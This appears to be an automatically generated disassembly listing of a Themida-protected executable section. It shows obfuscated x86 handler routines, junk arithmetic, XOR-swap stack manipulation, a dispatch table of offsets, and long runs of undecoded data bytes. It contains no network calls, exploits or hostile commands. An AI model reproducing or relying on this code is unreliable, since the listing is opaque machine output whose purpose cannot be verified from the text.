; ---------------------------------------------------------------------------


loc_585787:				; CODE XREF: Themida_:0058578Dj
		mul	ebx
		dec	esi


loc_58578A:				; CODE XREF: Themida_:00585785j
		cmp	esi, 0
		ja	short loc_585787
		pop	ebx
		add	ecx, eax
		pop	eax
		inc	edi
		dec	eax


loc_585795:				; CODE XREF: Themida_:00585770j
		or	eax, eax
		jnz	short loc_585772
		mov	eax, ecx
		pop	esi
		pop	edx
		pop	edi
		pop	ecx
		leave
		retn	4
; ---------------------------------------------------------------------------
		db 6Ah
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1D042444h
		dd 43000000h, 679BC353h, 86D45A8Fh, 0A2CE597Ah,	158D01h
		dd 0F08A0614h, 359D8B60h, 2906142Ch, 141B3D95h,	0C18B6106h
		dd 1ADE9h, 748B6000h, 7C8B2424h, 0B2FC2824h, 46068A80h
		dd 0BB470788h, 2, 850FD202h, 5,	1246168Ah, 0E2830FD2h
		dd 2FFFFFFh, 5850FD2h, 8A000000h, 0D2124616h, 6A830Fh
		dd 0C0330000h, 850FD202h, 5, 1246168Ah,	2A830FD2h, 2000001h
		dd 5850FD2h, 8A000000h,	0D2124616h, 0D202C013h,	5850Fh
		dd 168A0000h, 13D21246h, 0FD202C0h, 585h, 46168A00h, 0C013D212h
		dd 850FD202h, 5, 1246168Ah, 0FC013D2h, 684h, 0F82B5700h
		dd 885F078Ah, 2BB4707h,	0E9000000h, 0FFFFFF70h,	1B8h, 0FD20200h
		dd 585h, 46168A00h, 0C013D212h,	850FD202h, 5, 1246168Ah
		dd 0DE820FD2h, 2BFFFFFFh, 1BBC3h, 850F0000h, 34h, 1B9h
		dd 0FD20200h, 585h, 46168A00h, 0C913D212h, 850FD202h, 5
		dd 1246168Ah, 0DE820FD2h, 56FFFFFFh, 0F52BF78Bh, 0E95EA4F3h
		dd 0FFFFFF08h, 8E0C148h, 8B46068Ah, 1B9E8h, 0D2020000h
		dd 5850Fh, 168A0000h, 13D21246h, 0FD202C9h, 585h, 46168A00h
		dd 820FD212h, 0FFFFFFDEh, 7D003Dh, 22830F00h, 3D000000h
		dd 500h, 0E820Fh, 56410000h, 0F02BF78Bh, 0E95EA4F3h, 0FFFFFEB4h
		dd 0F7FF883h, 387h, 2C18300h, 2BF78B56h, 5EA4F3F0h, 0FFFE9BE9h
		dd 46068AFFh, 0E8C0C933h, 17840F01h, 83000000h,	0E88B02D1h
		dd 2BF78B56h, 5EA4F3F0h, 1BBh, 0FE76E900h, 7C2BFFFFh, 7C892824h
		dd 0C2611C24h, 29BA0008h, 0E9000009h, 21837h, 26C001Bh
		dd 12FEF4h, 2 dup(5FEBD8h), 26C0023h, 0
		dd offset word_5FD1BE
		dd 206h, 2, 1, 3, 0FA43DB9Ch, 5	dup(0)
		dd offset byte_586429
		dd offset word_58A002
		dd offset dword_5899B8
		dd offset byte_58C70B
		dd offset word_58C9C2
		dd offset byte_5899F3
		dd offset word_58E562
		dd offset word_58ED12
		dd offset dword_5912BC
		dd offset word_58E6F6
		dd offset word_58FB9A
		dd offset word_586936
		dd offset dword_5908CC
		dd offset byte_58E3B9
		dd offset dword_5862F0
		dd offset byte_589F99
		dd offset byte_58A40D
		dd offset byte_58E457
		dd offset byte_58D1A1
		dd offset word_58B476
		dd offset byte_58E90D
		dd offset dword_589244
		dd offset word_586A2E
		dd offset byte_58D08F
		dd offset dword_58C6F4
		dd offset byte_58B83F
		dd offset byte_5895F9
		dd offset byte_58BE2B
		dd offset word_588442
		dd offset byte_587F79
		dd offset byte_590647
		dd offset byte_58B401
		dd offset byte_58870D
		dd offset word_588756
		dd offset byte_58A307
		dd offset word_5901F2
		dd offset word_586BE2
		dd offset word_58B146
		dd offset word_58ACF6
		dd offset byte_587463
		dd offset dword_589DF0
		dd offset dword_58C64C
		dd offset dword_58A388
		dd offset byte_58C36B
		dd offset word_58D73E
		dd offset word_58A312
		dd offset word_58F7F2
		dd offset word_587F2A
		dd offset word_586D52
		dd offset aRsV		; "Ré;v"
		dd offset word_58F236
		dd offset byte_586F41
		dd offset dword_5905C0
		dd offset byte_590605
		dd offset dword_58D3A4
		dd offset dword_58CBC0
		dd offset dword_587954
		dd offset word_589342
		dd offset byte_585EA1
		dd offset byte_58841D
		dd offset word_58C736
		dd offset dword_58BB90
		dd offset byte_588CFD
		dd offset byte_58F2C5
		dd offset byte_590BE1
		dd offset word_58DC22
		dd offset word_58D3FE
		dd offset byte_58A08D
		dd offset byte_58D0E7
		dd offset dword_58DDA0
		dd offset word_58708A
		dd offset dword_58E9EC
		dd offset byte_58ADE3
		dd offset byte_58AA45
		dd offset byte_5873A5
		dd offset word_58B4A2
		dd offset dword_586E14
		dd offset byte_58D277
		dd offset byte_58835F
		dd offset dword_588D54
		dd offset byte_5902DB
		dd offset byte_58D24B
		dd offset off_590413
		dd offset word_58B02E
		dd offset byte_588195
		dd offset dword_58BE40
		dd offset byte_588B7D
		dd offset dword_586BFC
		dd offset word_586686
		dd offset byte_58706F
		dd offset dword_58CEE4
		dd offset word_589566
		dd offset loc_5865EE
		dd offset byte_58B2E9
		dd offset aMfrs		; "¬fRé|'"
		dd offset word_590CEA
		dd offset word_587FD2
		dd offset byte_58CDE1
		dd offset word_58ECA2
		dd offset aLSt		; "‹$$éâ^"
		dd offset byte_5861CB
		dd offset word_58D31E
		dd offset dword_5883DC
		dd offset byte_58BCAF
		dd offset byte_58AC39
		dd offset byte_59060D
		dd offset word_5912B2
		dd offset word_58E1EA
		dd offset dword_5875EC
		dd offset byte_58C63B
		dd offset byte_590B6F
		dd offset dword_58C3BC
		dd offset word_58BA9A
		dd offset word_58C07A
		dd offset byte_587DF1
		dd offset word_5869D6
		dd offset byte_586C41
		dd offset dword_589164
		dd offset word_586C8E
		dd offset byte_58C0B3
		dd offset aMsc		; "Žc:"
		dd offset dword_58BA60
		dd offset dword_58C200
		dd offset dword_58F224
		dd offset dword_588D4C
		dd offset byte_58F4C7
		dd offset aMsG		; "Ž[g"
		dd offset byte_58966F
		dd offset dword_586B64
		dd offset byte_58E13F
		dd offset byte_58AC7D
		dd offset byte_58920F
		dd offset word_58D9FA
		dd offset byte_58FF37
		dd offset byte_58C1A7
		dd offset dword_58DAFC
		dd offset word_588BDA
		dd offset byte_58C41D
		dd offset dword_58774C
		dd offset byte_58F2F1
		dd offset word_590976
		dd offset byte_591315
		dd offset word_587486
		dd offset dword_5870F8
		dd offset aMIhw		; "¬,›hW;"
		dd offset byte_58FE87
		dd offset byte_586BBD
		dd offset word_588F3A
		dd offset dword_58D164
		dd offset byte_589355
		dd offset dword_58B4BC
		dd offset dword_58A6F0
		dd offset dword_58F59C
		dd offset dword_58D1D0
		dd offset byte_59097F
		dd offset word_589DFE
		dd offset aNs9d		; "­é9„"
		dd offset dword_5899FC
		dd offset dword_587C00
		dd offset dword_58D8F4
		dd offset byte_589F6D
		dd offset byte_5871D3
		dd offset byte_58C86B
		dd offset dword_58E28C
		dd offset dword_58CF14
		dd offset byte_585FD1
		dd offset dword_590184
; ---------------------------------------------------------------------------


loc_585C7C:				; CODE XREF: Themida_:005B1D51j
					; Themida_:005B7B3Dj ...
		pusha
		pushf
		cld
		call	$+5
		pop	edi
		sub	edi, 61480E8h
		mov	eax, edi
		add	edi, 6147E00h
		cmp	eax, [edi+2Ch]
		jnz	short loc_585C9A
		jmp	short loc_585CAD
; ---------------------------------------------------------------------------


loc_585C9A:				; CODE XREF: Themida_:00585C96j
		mov	[edi+2Ch], eax
		mov	ecx, 0A7h
		jmp	short loc_585CA9
; ---------------------------------------------------------------------------


loc_585CA4:				; CODE XREF: Themida_:00585CABj
		add	[edi+ecx*4+40h], eax
		dec	ecx


loc_585CA9:				; CODE XREF: Themida_:00585CA2j
		or	ecx, ecx
		jnz	short loc_585CA4


loc_585CAD:				; CODE XREF: Themida_:00585C98j
		mov	esi, [esp+24h]
		mov	ebx, esi
		add	esi, eax
		mov	ecx, 1


loc_585CBA:				; CODE XREF: Themida_:00585CC1j
		xor	eax, eax
		lock cmpxchg [edi+30h],	ecx
		jnz	short loc_585CBA


loc_585CC3:				; CODE XREF: Themida_:00585DE7j
					; Themida_:005863F3j ...
		lodsb
		jmp	loc_590F05
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4BFh, 9020E900h, 0BB530000h,	4, 517CEE81h, 0DE01481Eh
		dd 517CC681h, 1C8B481Eh, 4C48324h, 8B243487h, 0AF0F2424h
		dd 0E99C51C8h, 0FFFFFFC3h, 0E9242C89h, 4F09h, 0F20B6525h
		dd 1563E955h, 148B0000h, 4C48124h, 0E9000000h, 175Eh, 8704C383h
		dd 875C241Ch, 0D4E92414h, 81000099h, 4C4h, 8EE95600h, 0BF000022h
		dd 40515A62h, 25FAE94Fh
		db 2 dup(0)
aMfrs		db '¬fRé|',27h,0        ; DATA XREF: Themida_:00585B58o
		align 2
		dw 483h
		dd 815B0424h, 4C3h, 4B85000h, 1000000h,	8704E9C3h, 81580000h
		dd 9B4C0AC7h, 0A3CF812Ch, 8105F876h, 0ED0799EFh, 33A16838h
		dd 14E90000h, 0D10000A7h, 0EE814EE6h, 7A0E4AFDh, 815EF189h
		dd 0A64E9DC7h, 2C47E97Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_585D9A:				; CODE XREF: Themida_:0058BF90j
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		mov	esp, [esp]
		xor	ecx, 33D57A2Eh
		push	23C4h
		mov	[esp], esi
		push	ecx
		push	esi
		mov	esi, 55570338h
		mov	ecx, esi
		pop	esi
		inc	ecx
		jmp	loc_58DE83
; ---------------------------------------------------------------------------
		db 0B9h
		dd 67DC6E0Bh, 45B6BD55h, 0CD813A8Ch, 7D1C3F46h,	0FC3BC581h
		dd 0E9018215h, 0AA5AE95Dh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_585DE6:				; CODE XREF: Themida_:005886C3j
		pop	esp
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
		dd 8B24048Fh, 7DE92424h, 8900001Fh, 0E9525DEEh,	664Fh
		dd 240CFF66h, 0FEB9E99Ch, 15EFFFFh, 98E958C1h, 53000026h
		dd 5F264ABBh, 0BF574B63h, 7F6C64FAh, 6868E9h
		db 0
; ---------------------------------------------------------------------------


loc_585E25:				; CODE XREF: Themida_:00587270j
		xchg	edi, [esp]
		pop	esp
		push	ecx
		mov	ecx, 4
		add	eax, ecx
		pop	ecx
		push	eax
		jmp	loc_589FE0
; ---------------------------------------------------------------------------


loc_585E38:				; CODE XREF: Themida_:00590531j
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	53Eh
		jmp	loc_58EB0D
; ---------------------------------------------------------------------------
		dw 0E328h
		dd 0E9AAC380h, 7F67h, 5C24048Fh, 24148B66h, 42E3E9h
		db 0
; ---------------------------------------------------------------------------


loc_585E65:				; CODE XREF: Themida_:00586042j
		div	ecx
		jmp	loc_587E9F
; ---------------------------------------------------------------------------
		dd 3FF7815Fh, 8940C16Fh, 8FF8E9FDh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_585E7A:				; CODE XREF: Themida_:00591537j
		mov	eax, 4F2B2606h
		add	ebx, 5A03433Dh
		sub	ebx, eax
		sub	ebx, 5A03433Dh
		pop	eax
		and	eax, ebx
		mov	ebx, [esp]
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 65296E78h
		jmp	loc_58D242
; ---------------------------------------------------------------------------
byte_585EA1	db 66h,	8Bh, 0Ch	; DATA XREF: Themida_:00585AC8o
		dd 4EC8324h, 68242C89h,	63E5h, 0E9242489h, 6BF4h, 74E95455h
		db 24h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_585EBF:				; CODE XREF: Themida_:0058B306j
		mov	esi, 4
		sub	edi, 52E0184Eh
		add	edi, esi
		push	eax
		mov	eax, 6EEE6C94h
		sub	eax, 77D624F8h
		add	eax, 474E7EBCh
		inc	eax
		xor	eax, 1F69448Eh
		xor	eax, 73EF9A99h
		add	edi, eax
		jmp	loc_589B91
; ---------------------------------------------------------------------------
		dw 1C33h
aSja		db '$é¦a',0
		align 2
aZ4S@d		db ']‡4$\é@d',0
		align 10h
aIH2sV		db '‰,$hÛ]Ð2éš‚',0
		dd 24348B00h, 0E904C483h, 3164h
; ---------------------------------------------------------------------------


loc_585F18:				; CODE XREF: Themida_:00588688j
		pop	ecx
		xor	edx, 104602h
		jmp	loc_58F087
; ---------------------------------------------------------------------------
		dd 5604C483h, 0E8E9E689h, 89000090h, 69E9243Ch,	1000090h
		dd 2872E9E9h, 0DAF70000h, 0E3B95142h, 81114F69h, 1D2E71E9h
		dd 745AE96Eh, 81660000h, 0E92F93F7h, 0B720h, 815FFB29h
		dd 4ECh, 24348900h, 89807DBEh, 5EF331B6h, 565BD829h, 6161E9h
		dd 81E58900h, 4C5h, 4C58300h, 8B242C87h, 40912424h, 8391E9h
		db 0
; ---------------------------------------------------------------------------


loc_585F91:				; CODE XREF: Themida_:0058D23Dj
		xor	ebp, 3B394819h
		add	ebp, 17FA55A9h
		sub	ebp, 0E54F75FDh
		sub	ecx, 8E6319Fh
		jmp	loc_58AD9B
; ---------------------------------------------------------------------------
		dw 0C381h
		dd 4, 5C241C87h, 4C781h, 56510000h, 0B04CABBEh,	0B357B92Dh
		dd 0F101D24Fh, 0B9CE9h
		db 0
byte_585FD1	db 66h,	8Bh, 4		; DATA XREF: Themida_:00585C74o
aHg		db '$h£',9,0
		align 2
		dw 1489h
		dd 565A5424h, 4BEh, 5EF20100h, 4EC81h, 3C890000h, 2BF24h
		dd 0C2810000h, 6E620E70h, 7C8E9h, 3C895C00h, 6A7CBF24h
		dd 0E95164FCh, 5301h
; ---------------------------------------------------------------------------


loc_586010:				; CODE XREF: Themida_:00588505j
		mov	[esp], edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		push	ecx
		mov	ecx, 4
		push	esi
		mov	esi, 25982966h
		xor	esi, 37EA30B8h
		add	eax, esi
		pop	esi
		add	eax, ecx
		sub	eax, 127219DEh
		pop	ecx
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		jmp	loc_585E65
; ---------------------------------------------------------------------------
		db 80h
		dd 8850F1C1h, 58C288C8h, 83240C8Bh, 0C28004C4h,	3BC280FFh
		dd 51662304h, 0E8002EB5h, 87E1E9h, 242C8900h, 242C8B54h
		dd 81E78957h, 4C7h, 4C78300h, 5C243C87h, 36DBBF57h, 0C7832B23h
		dd 2E7C101h, 8303E7C1h,	0B951FFEFh, 4B4015Ah, 25D9F181h
		dd 0CF019F2Dh, 76CBE959h, 0E2C10000h, 66B4E902h, 0EF810000h
		dd 30334904h, 587AF781h, 0F7810AF7h, 9344DC42h,	3C8BFB01h
		dd 51F9E924h, 0C8310000h, 31CA3192h, 68CA31D1h,	50B9h
		dd 0F7240C89h, 0E0E92414h, 0B500009Bh, 56D6E99Ch, 0F5810000h
		dd 48579D61h, 7B8AE9h
		db 0
; ---------------------------------------------------------------------------


loc_5860F5:				; CODE XREF: Themida_:0058E908j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp]
		xor	[esp], edx
		xor	edx, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		jmp	loc_5917A1
; ---------------------------------------------------------------------------
		dd 815D5455h, 4C5h, 4C58300h, 0E9242C87h, 3BAAh
; ---------------------------------------------------------------------------


loc_586130:				; CODE XREF: Themida_:00591629j
		mov	esi, [esp]
		add	esp, 4
		add	edx, 1C435A0Eh
		add	edx, eax
		sub	edx, 1C435A0Eh
		add	edx, 7644DACh
		jmp	loc_591B70
; ---------------------------------------------------------------------------


loc_586152:				; CODE XREF: Themida_:0058D539j
		and	esi, 196D36F5h
		and	esi, 784244F0h
		and	esi, 4AB6EE9h
		sub	esi, 0A2C9C425h
		mov	eax, esi
		pop	esi
		jmp	loc_58738B
; ---------------------------------------------------------------------------
		dw 0C481h
		dd 4, 1A7868h, 24148900h, 0B6BFB551h, 59EE00E7h, 42E90B2Ch
		db 2Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58618F:				; CODE XREF: Themida_:00591BFBj
		xchg	edx, [esp]
		pop	esp
		jmp	loc_5892AC
; ---------------------------------------------------------------------------


loc_586198:				; CODE XREF: Themida_:005876E7j
		mov	eax, esp
		add	eax, 4
		push	edi
		mov	edi, 14030DD7h
		xor	edi, 7FB9358Dh
		sub	edi, 6BBA3856h
		add	eax, edi
		pop	edi
		xchg	eax, [esp]
		pop	esp
		sub	esi, 17DF4B7Dh
		mov	edi, esi
		pop	esi
		push	0EDDEEF26h
		jmp	loc_58F8D3
; ---------------------------------------------------------------------------
byte_5861CB	db 66h			; DATA XREF: Themida_:00585B70o
		dd 68240C8Bh, 2EAAh, 0E9243C89h, 9646h,	895EF231h, 24148BD3h
		dd 5309E9h, 0ACC68100h,	0E92DDD2Eh, 0FFFFFD02h,	4C781h
		dd 0C7830000h, 243C8704h, 9AE9505Ch, 81000023h,	0FDC8D3C7h
		dd 5FF901A4h, 87C1E9h, 243C3300h, 0A404E95Ch, 0C5810000h
		dd 4, 6802C583h, 36AFh,	0FF242C89h, 0E9042474h,	615h
; ---------------------------------------------------------------------------


loc_586238:				; CODE XREF: Themida_:00587123j
		pop	edx
		add	edi, 3C3A0D4Bh
		add	edi, ecx
		sub	edi, 3C3A0D4Bh
		pop	ecx
		xor	edi, 0DBD28C2h
		push	esi
		mov	esi, 2EEE1ACFh
		shl	esi, 7
		neg	esi
		shl	esi, 3
		xor	esi, 0A47C8BD1h
		sub	edi, esi
		pop	esi
		and	eax, edi
		mov	edi, [esp]
		add	esp, 4
		shr	eax, 5
		xor	eax, 296A0BA7h
		push	edx
		mov	edx, 2BC84BA7h
		jmp	loc_59031C
; ---------------------------------------------------------------------------
		dd 31243C33h, 8AE9243Ch
		db 3 dup(0FFh)
; ---------------------------------------------------------------------------


loc_58628B:				; CODE XREF: Themida_:00586CB0j
		mov	[esp], edi
		push	edx
		pop	edi
		pop	edx
		push	edx
		xchg	edx, [esp]
		not	edx
		xchg	edx, [esp]
		mov	edx, [esp]
		add	esp, 4
		xchg	edx, edi
		xor	ebp, edi
		jmp	loc_58783B
; ---------------------------------------------------------------------------


loc_5862AC:				; CODE XREF: Themida_:0058D6FCj
		push	5C7Ah
		mov	[esp], ebx
		push	edx
		push	12866360h
		pop	edx
		xor	edx, 438C30D5h
		add	edx, 690784Ah
		add	edx, 0AA653401h
		jmp	loc_58DAF5
; ---------------------------------------------------------------------------


loc_5862D2:				; CODE XREF: Themida_:00586971j
		xchg	ebp, esi
		not	ebp
		xchg	ebp, esi
		sub	esi, 0F690CF0Bh
		xor	edi, esi
		pop	esi
		sub	eax, edi
		mov	edi, [esp]
		add	esp, 4
		mov	ebx, eax
		jmp	loc_58BF18
; ---------------------------------------------------------------------------
dword_5862F0	dd 9D1C77FFh, 14D25966h, 0C4E99C24h, 89FFFFF9h,	15E58C2h
					; DATA XREF: Themida_:00585A18o
		dd 4335AD0h, 24043124h,	5C240433h, 0D2E9F9F6h, 5800003Dh
		dd 89BD55h, 0CD812C72h,	0A906105h, 6189ED81h, 0E8012EF2h
		dd 2C0835Dh, 31240433h,	4332404h, 8D7E924h, 46460000h
		dd 241CF756h, 0E9DEF75Eh, 9ACFh, 6198055Dh, 2B3501C3h
		dd 143CB8Dh, 0C68358C6h, 6F93E902h, 0D7010000h,	0B75AE9h
		dd 4EC8100h, 89000000h,	2B82404h, 81000000h, 0B4655DC7h
		dd 81C7016Fh, 0B4655DEFh, 3C87586Fh, 24248B24h,	240CD366h
		dd 0A21DE99Ch, 81450000h, 9F78D7F5h, 5DEB290Dh,	0C381C329h
		dd 6B991FE3h, 3757E951h, 13B00000h, 6A85E9h, 6BE95E00h
		db 61h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_5863BB:				; CODE XREF: Themida_:0058B106j
		mov	esi, 47C334CBh
		and	esi, 182939E2h
		push	ebp
		jmp	loc_58EBAD
; ---------------------------------------------------------------------------


loc_5863CC:				; CODE XREF: Themida_:0058BF03j
		add	esi, 5E3D1E17h
		sub	esi, ebx
		sub	esi, 5E3D1E17h
		pop	ebx
		sub	esp, 4
		mov	[esp], esi
		push	dword ptr [esp+4]
		mov	esi, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ax
		jmp	loc_585CC3
; ---------------------------------------------------------------------------
aFpsE		db 'fPé:e',0
		dw 8700h
		dd 0A0E581DDh, 4517FF53h, 307DBF57h, 0D7F7470Bh, 17DBE781h
		dd 91E975BFh
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58641B:				; CODE XREF: Themida_:0058C299j
		push	eax
		mov	al, 1Ah
		sub	bl, al
		pop	eax
		movzx	eax, al
		jmp	dword ptr [edi+eax*4]
; ---------------------------------------------------------------------------
		db 61h
		db 0C3h
byte_586429	db 31h,	4, 24h		; DATA XREF: Themida_:005859E0o
		dd 31240433h, 0EC812404h, 4, 8E5CE9h, 22D2BA00h, 0EA8153C7h
		dd 11F961D0h, 0F707E2C1h, 46C281DAh, 295FF9D4h,	0AEE6E9D5h
		dd 68550000h, 1306430Fh, 8212E9h, 0E937B400h, 0BD0h, 240C895Ch
		dd 5B1F97B9h, 0CFF5163h, 0C9815924h, 329D706Ch,	0AE95157h
		dd 300000A3h, 0C3805BFDh, 80EB0092h, 0F5992EBh,	0E4E9C0B6h
		dd 5500008Bh, 9C3617BDh, 31DD3100h, 43DD31EBh, 0FFFF52E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5864AD:				; CODE XREF: Themida_:0058CB42j
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		mov	eax, [esp]
		push	esi
		push	esp
		pop	esi
		jmp	loc_5875A6
; ---------------------------------------------------------------------------


loc_5864C3:				; CODE XREF: Themida_:005869E4j
		mov	ecx, 5E0F27D3h
		and	ecx, 4E4D46E3h
		push	ebx
		mov	ebx, 0B516323Ah
		sub	ecx, ebx
		jmp	loc_58BE58
; ---------------------------------------------------------------------------
aRitsT		db 'R‰âéÖT',0
		db 0
; ---------------------------------------------------------------------------


loc_5864E3:				; CODE XREF: Themida_:0058D176j
		add	bl, al
		sub	bl, 17h
		push	0DCEh
		mov	[esp], edx
		mov	dh, 0ACh
		push	edx
		mov	dh, 61h
		neg	dh
		dec	dh
		sub	dh, 0F3h
		sub	bl, dh
		pop	edx
		jmp	loc_590B4F
; ---------------------------------------------------------------------------
		dd 0FFF7BAE9h, 0EF8958FFh, 53D7F75Dh, 8716AFBBh, 0E7EB8176h
		dd 0E919D621h, 7EDDh, 4EC81h, 3EE90000h, 1FFFFFBh, 0FF505DE8h
		dd 58042474h, 5C24048Fh, 7C956851h, 16E90000h, 8B000097h
		dd 90E9241Ch
		db 68h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_58654B:				; CODE XREF: Themida_:0058A645j
		xor	esi, ecx
		pop	ecx
		push	ebx
		jmp	loc_58F673
; ---------------------------------------------------------------------------
		dd 468h, 2434FF00h, 46C9E959h, 0C7830000h, 243C8704h, 0E924248Bh
		dd 0A756h, 405h, 40500h, 4870000h, 0EE95C24h, 800000B4h
		dd 4FE962C5h, 89000047h, 0BE562424h, 4,	1AE8E9h, 74FF5600h
		dd 8F5E0424h, 665C2404h, 9C2424D3h, 0FFF716E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5865AD:				; CODE XREF: Themida_:0058CA97j
		push	edi
		mov	edi, 1D374E08h
		jmp	loc_58E993
; ---------------------------------------------------------------------------
		dd 52782FBBh, 4EEA8135h, 0E9642E5Fh, 1FC2h
; ---------------------------------------------------------------------------


loc_5865C8:				; CODE XREF: Themida_:0058F9A2j
		inc	ebx
		sub	ebx, 7F803BC9h
		mov	ebp, ebx
		pop	ebx
		add	ecx, ebp
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, 4
		add	ecx, 6AF97FBCh
		jmp	loc_58D6E8
; ---------------------------------------------------------------------------


loc_5865EE:				; DATA XREF: Themida_:00585B50o
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	esp
		push	dword ptr [esp]
		pop	edi
		add	esp, 4
		push	5F3Eh
		mov	[esp], eax
		mov	eax, 4E34428Ah
		xor	eax, 4E34428Eh
		add	edi, 333B54CDh
		add	edi, eax
		sub	edi, 333B54CDh
		mov	eax, [esp]
		add	esp, 4
		sub	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		jmp	loc_58F861
; ---------------------------------------------------------------------------


loc_586640:				; CODE XREF: Themida_:00588FBEj
		mov	[esp], ebx
		jmp	loc_58A4D7
; ---------------------------------------------------------------------------
		dd 7E3C059h, 0FE04E3C0h, 6381E9C3h, 0CB880000h,	9AF38059h
		dd 1EBDE9h, 4EC8300h, 0BF243C89h, 44AB7420h, 2413E9h, 4C48300h
		dd 405h, 4BF5700h, 1000000h, 8D6E9F8h
		db 2 dup(0)
word_586686	dw 8B66h		; DATA XREF: Themida_:00585B40o
		dd 1CE9240Ch, 81000062h, 4C1h, 4C18300h, 5C240C87h, 2474FF55h
		dd 48F5D04h, 24248B24h,	24048B66h, 815B5453h, 4C3h, 4B85000h
		dd 29000000h, 1C8758C3h, 4895C24h, 57E08924h, 4BFh, 0A525E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5866D2:				; CODE XREF: Themida_:0058896Cj
		push	esi
		not	dword ptr [esp]
		pop	esi
		push	ebp
		push	esi
		jmp	loc_58BA4F
; ---------------------------------------------------------------------------
		dw 5258h
		dd 2DF6E958h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5866E6:				; CODE XREF: Themida_:00589B8Cj
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		jmp	loc_58A82F
; ---------------------------------------------------------------------------
		db 0FFh
		dd 8B042474h, 0C4812414h, 4, 8B24048Fh,	3B662424h, 0B4E99CC8h
		dd 0B8FFFFF5h, 4, 0B0EE9h, 24348900h, 0FEE95153h, 81000065h
		dd 4C5h, 4C58100h, 87000000h, 815C242Ch, 4ECh, 243C8900h
		dd 0E268E789h, 89000033h, 0E9552404h, 5495h
; ---------------------------------------------------------------------------


loc_58674C:				; CODE XREF: Themida_:0058D6A1j
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		mov	ebx, 235B2FB0h
		push	ebp
		mov	ebp, 751973C8h
		or	ebx, ebp
		pop	ebp
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		and	ebx, 7FAB328Bh
		dec	ebx
		push	edx
		mov	edx, 303E1E35h
		or	ebx, edx
		pop	edx
		jmp	loc_59109A
; ---------------------------------------------------------------------------
		db 48h
		dd 52D3935h, 58C62948h,	3B91E9h, 19C38000h, 4EC81h, 0B8E90000h
		dd 51000058h, 42474FFh,	0F646E959h, 0D129FFFFh,	6E90E9h
		dd 99F68000h, 515AF000h, 0C9804BB1h, 8E9C0ADh, 63D3E9h
		dd 24043100h, 0FFF4FAE9h, 46C281FFh, 1573E06h, 46EA81FAh
		dd 81573E06h, 620E70EAh, 243C8B6Eh, 81E28952h, 4C2h, 4C28100h
		dd 87000000h, 335C2414h, 14312414h, 24143324h, 2E17E9h
		dd 4EC8300h, 0BD242C89h, 4, 2C8BE801h, 4C48124h, 53000000h
		dd 4BBh, 77210500h, 49E901F3h, 8800007Fh, 51665AD3h, 0C20E9h
		dd 4C18100h, 57000000h,	2BFh, 5FF90100h, 5C240C87h, 24048F66h
		dd 31EEE9h, 48F5D00h, 566E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_586856:				; CODE XREF: Themida_:0058B536j
		add	eax, 4
		push	ebx
		mov	ebx, 4
		jmp	loc_58DDFB
; ---------------------------------------------------------------------------
		dw 295Fh
		dd 24148BD3h, 6804C483h, 0
		dd 0D240481h, 0E92C3927h, 6A62h, 240C895Ch, 4B5168h, 24348900h
		dd 0BEh, 2C815600h, 86040724h, 0C181597Ch, 7C860407h, 3D1015Eh
		dd 1C4E901h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5868AA:				; CODE XREF: Themida_:0058C74Dj
		pop	esi
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_589889
; ---------------------------------------------------------------------------
		db 55h,	0FFh, 74h
		dd 8F5D0424h, 0B5C2404h, 77840FC9h, 68000046h, 2D05h, 778368h
		dd 4EC8100h, 89000000h,	4832424h, 48F0424h, 4BD5524h, 1000000h
		dd 0E904246Ch, 2D62h, 0E965C680h, 4219h
; ---------------------------------------------------------------------------


loc_586900:				; CODE XREF: Themida_:00590D26j
		mov	al, 21h
		add	bl, al
		pop	ax
		and	bl, 2
		jmp	loc_58A92A
; ---------------------------------------------------------------------------


loc_58690E:				; CODE XREF: Themida_:00590E43j
		and	eax, ebx
		mov	ebx, [esp]
		jmp	loc_5899E5
; ---------------------------------------------------------------------------


loc_586918:				; CODE XREF: Themida_:00590B8Bj
		sub	edx, 0FFFFFFFFh
		push	edi
		mov	edi, 2DE42FD2h
		add	edx, edi
		pop	edi
		neg	edx
		push	ebp
		mov	ebp, 0
		sub	ebp, edx
		mov	edx, ebp
		pop	ebp
		jmp	loc_58CC27
; ---------------------------------------------------------------------------
word_586936	dw 34FFh		; DATA XREF: Themida_:00585A0Co
aSR		db '$é:r',0
		align 2
		dw 0EE81h
		dd 18833906h, 0E9F08950h, 0FFFFF9B3h
